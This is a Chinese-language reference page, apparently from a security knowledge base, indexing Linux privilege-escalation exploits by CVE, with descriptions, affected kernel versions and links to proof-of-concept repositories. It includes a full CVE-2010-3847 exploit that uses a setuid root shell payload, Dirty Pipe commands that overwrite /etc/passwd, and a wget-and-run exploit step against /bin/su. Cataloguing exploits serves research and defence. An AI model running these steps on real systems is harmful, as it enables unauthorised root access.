OS - Exploits


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲

  • Linux

    • 系统漏洞提权
    • 原生软件提权
    • 系统配置提权
      • sudo
      • suid
    • 远程漏洞
  • Windows

    • 系统漏洞提权
    • 远程漏洞
    • 其他
  • FreeBSD

  • OpenBSD

  • Solaris


Linux

相关资源

  • carlospolop/PEASS-ng - 非常好用,可以直接下载 linpeas.sh 运行
  • xairy/linux-kernel-exploitation
  • xairy/kernel-exploits
  • SecWiki/linux-kernel-exploits
  • Al1ex/LinuxEelvation
  • bsauce/kernel-exploit-factory

相关文章

  • 年报解读|年度高可利用漏洞——Linux提权漏洞

内核漏洞提权

文章教程

  • Basic Linux Privilege Escalation
  • Local Linux Enumeration & Privilege Escalation Cheatsheet

提权辅助工具

  • mzet-/linux-exploit-suggester
  • jondonas/linux-exploit-suggester-2
  • rebootuser/LinEnum - 辅助信息收集脚本
  • DominicBreuker/pspy - 在没有 root 权限的情况下监视 linux 进程
  • TH3xACE/SUDO_KILLER - 一个用来识别和利用 sudo 规则的错误配置和漏洞的工具
  • liamg/traitor - Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock

以下工具长期未更新,不推荐

  • sleventyeleven/linuxprivchecker - 长期未更新,不推荐
  • lucyoa/kernel-exploits - 长期未更新,不推荐
  • Kabot/Unix-Privilege-Escalation-Exploits-Pack - 长期未更新,不推荐
  • InteliSecureLabs/Linux_Exploit_Suggester - 长期未更新,不推荐

CVE-2009-2698

  • 简介

    在 2.6.19 之前 Linux 内核中的(1) net/ipv4/udp.c 和(2) net/ipv6/udp.c 中的 udp 实现中的 udp_sendmsg 函数允许本地用户通过涉及 MSG_MORE 标志和 UDP 套接字的向量获得特权或导致拒绝服务(空指针取消引用和系统崩溃)。

  • 影响范围

    • Linux kernel < 2.6.19
    • CentOS 4.4/4.5
    • Fedora Core 4/5/6 x86
  • POC | Payload | exp

    • Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) - Linux_x86 local Exploit

CVE-2010-3847

  • POC | Payload | exp

    # 在/tmp下创建可控制的目录
    $ mkdir /tmp/exploit
    # 链接到suid二进制程序以更改$ORIGIN的定义$ ln /bin/ping /tmp/exploit/target
    # 打开到目标二进制程序的文件描述符$ exec 3< /tmp/exploit/target
    # 现在可通过/proc访问描述符$ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
    # 删除之前所创建的目录$ rm -rf /tmp/exploit/
    # /proc链接仍存在,但已标记为已被删除$ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
    # 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标$ cat > payload.c
    void __attribute__((constructor)) init()
    {
    setuid(0);
    system("/bin/bash");
    }
    ^D
    $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
    $ ls -l /tmp/exploit
    -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
    # 通过LD_AUDIT强制/proc中的链接加载$ORIGIN$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    sh-4.1# whoami
    root
    sh-4.1# id
    uid=0(root) gid=500(taviso)

CVE-2016-4557

  • 简介

    Linuxkernel 是美国 Linux 基金会发布的开源操作系统 Linux 所使用的内核。NFSv4implementation 是其中的一个分布式文件系统协议。Linuxkernel4.5.5 之前版本的 kernel/bpf/verifier.c 文件中的‘replace_map_fd_with_map_ptr’函数存在安全漏洞,该漏洞源于程序没有正确维持 fd 数据结构体。本地攻击者可借助引用不正确文件描述符的 BPF 指令利用该漏洞获取权限或造成拒绝服务(释放后重用)。

  • 影响范围

    • Linux kernel <= 4.5.4
  • POC | Payload | exp

    • https://www.exploit-db.com/exploits/39772
    • https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

CVE-2016-5195 脏牛 Dirty COW

  • 简介

    2016年10月18日,Phil Oester 提交了隐藏长达9年之久的“脏牛漏洞(Dirty COW)”0day 漏洞,该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取 root 权限。

  • 影响范围

    • Linux kernel < 4.8.3
  • 相关文章

    • [翻译]从内核角度分析 Dirty Cow 原理
  • POC | Payload | exp

    • scumjr/dirtycow-vdso
    • dirtycow/dirtycow.github.io
    • gbonacini/CVE-2016-5195
    • https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
    • https://www.exploit-db.com/exploits/40616
    • https://www.exploit-db.com/exploits/40847
    • gebl/dirtycow-docker-vdso

CVE-2017-1000253

  • 简介

    在 Linux 环境下,如果应用程序编译时有 -pie 编译选项,则 load_elf_binary() 将会为其分配一段内存空间,但是 load_elf_ binary() 并不考虑为整个应用程序分配足够的空间,导致 PT_LOAD 段超过了 mm->mmap_base。在 x86_64 下,如果越界超过 128MB,则会覆盖到程序的栈,进而可能导致权限提升。

  • 影响范围

    • centos < 7.1708
    • redhat < 7.4
  • POC | Payload | exp

    • https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c

CVE-20171000405 Huge Dirty COW

  • 简介

    安全团队 Bindecy 爆出名为大脏牛(HugeDirty Cow)的内核提权漏洞,编号为 CVE-20171000405。包含 linux 内核(2.6.38~4.14)的服务器,桌面,移动等众多设备将面临严重挑战,数以百万计的用户受到安全威胁。该漏洞是由于对之前的内核提权漏洞(cve-2016-5195)修补不完整引发

  • 影响范围

    • 2.6.38 <= Linux kernel <= 4.14
  • 相关文章

    • "Huge Dirty COW" (CVE-2017-1000405)
  • POC | Payload | exp

    • bindecy/HugeDirtyCowPOC

CVE-2019-13272 Linux 4.10 < 5.1.17 PTRACE_TRACEME local root

  • 简介

    在 5.1.17 之前的 Linux 内核中,kernel/ptrace.c 中的 ptrace_link 在记录想要创建 ptrace 关系的进程的凭证时处理不当,这使得本地用户可以通过利用某些具有父子进程关系的场景获得 root 权限,其中父进程放弃权限并调用 execve(可能允许攻击者控制)。一个促成因素是对象寿命问题。另一个因素是不正确地将 ptrace 关系标记为特权,这可以通过(例如)PTRACE_TRACEME 的 Polkexec 帮助程序来利用。注意:在某些环境中,SELinux deny_ptrace 可能是一个可用的变通方法。

  • 相关文章

    • CVE-2019-13272:Linux本地内核提权漏洞复现
  • POC | Payload | exp

    • jas502n/CVE-2019-13272
    • https://github.com/firebroo/sec_tools/tree/master/linux-kernel-exploits/CVE-2019-13272

CVE-2020-8835 Linux Kernel 信息泄漏/权限提升

  • 简介

    漏洞是因为 bpf 验证程序没有正确计算一些特定操作的寄存器范围,导致寄存器边界计算不正确,进而引发越界读取和写入。该漏洞在 Linux Kernelcommit(581738a681b6) 中引入。

  • 相关文章

    • CVE-2020-8835 Linux Kernel 信息泄漏/权限提升漏洞分析
  • POC | Payload | exp

    • Exploit CVE-2020-8835

CVE-2020-14386

  • 相关文章

    • CVE-2020-14386 POC复现
  • POC | Payload | exp

    • cgwalters/cve-2020-14386

CVE-2021-3490

  • 简介

    该漏洞源于按位操作(AND,OR 和 XOR)的 eBPF ALU32 边界跟踪不会更新 32 位边界,攻击者可利用该漏洞触发越界读写,从而从普通权限提升到 root 权限。

  • POC | Payload | exp

    • chompie1337/Linux_LPE_eBPF_CVE-2021-3490

CVE-2021-3493

  • 相关文章

    • Linux kernel特权提升漏洞(CVE-2021-3493)复现
  • POC | Payload | exp

    • briskets/CVE-2021-3493

CVE-2021-22555

  • 相关文章

    • 隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现
  • POC | Payload | exp

    • veritas501/CVE-2021-22555-PipeVersion

CVE-2022-0185

  • 相关文章

    • LINUX内核漏洞——CVE-2022-0185分析与思考
  • POC | Payload | exp

    • chenaotian/CVE-2022-0185
    • veritas501/CVE-2022-0185-PipeVersion

CVE-2021-31440 Linux 内核eBPF提权漏洞

  • 相关文章

    • CVE-2021-31440:Linux 内核eBPF提权漏洞分析(Pwn2Own 2021)

CVE-2021-33909

  • POC | Payload | exp

    • Liang2580/CVE-2021-33909

CVE-2022-0847

  • 影响范围

    • 5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
  • 相关文章

    • The Dirty Pipe Vulnerability

      gcc poc.c -o exp -std=c99cp /etc/passwd /tmp/passwd_bak
      new_passwd=$(cat /etc/passwd|head)
      ./exp /etc/passwd 1 "${new_passwd/root:x/oot:}"su root
    • CVE-2022-0847_DirtyPipe Linux 内核提权漏洞分析及复现
    • CVE-2022-0847 Linux内核漏洞简要分析
    • CVE-2022-0847漏洞对容器环境影响的深度分析
  • POC | Payload | exp

    • Arinerron/CVE-2022-0847-DirtyPipe-Exploit
    • https://haxx.in/files/dirtypipez.c
      mkdir dirtypipez
      cd dirtypipez
      wget https://haxx.in/files/dirtypipez.c
      gcc dirtypipez.c -o dirtypipezfind / -perm -u=s -type f 2>/dev/null
      ./dirtypipez /bin/su
    • polygraphene/DirtyPipe-Android - Dirty Pipe root exploit for Android (Pixel 6)

CVE-2022-2588

  • POC | Payload | exp

    • Markakd/CVE-2022-2588

CVE-2022-2639 Linux 内核 openvswitch 本地提权

  • POC | Payload | exp

    • veritas501/CVE-2022-2639-PipeVersion

CVE-2022-25636

  • 相关文章

    • CVE-2022-25636内核越界写入漏洞对容器的影响分析
  • POC | Payload | exp

    • Bonfee/CVE-2022-25636
    • veritas501/CVE-2022-25636-PipeVersion

CVE-2022-27666

  • 描述

    CVE-2022-27666 是 Linux esp6 加密模块中的一个漏洞。该漏洞成因是,esp6模块中用户消息的接收缓冲区是8页缓冲区,但发送者可以发送大于8页的消息,造成缓冲区溢出。

  • 相关文章

    • CVE-2022-27666: Exploit esp6 modules in Linux kernel
  • POC | Payload | exp

    • plummm/CVE-2022-27666

CVE-2022-34918

  • POC | Payload | exp

    • randorisec/CVE-2022-34918-LPE-PoC
    • veritas501/CVE-2022-34918

原生软件提权

CVE-2019-7304

  • 相关文章

    • Snapd Ubuntu 提权分析

CVE-2019-14287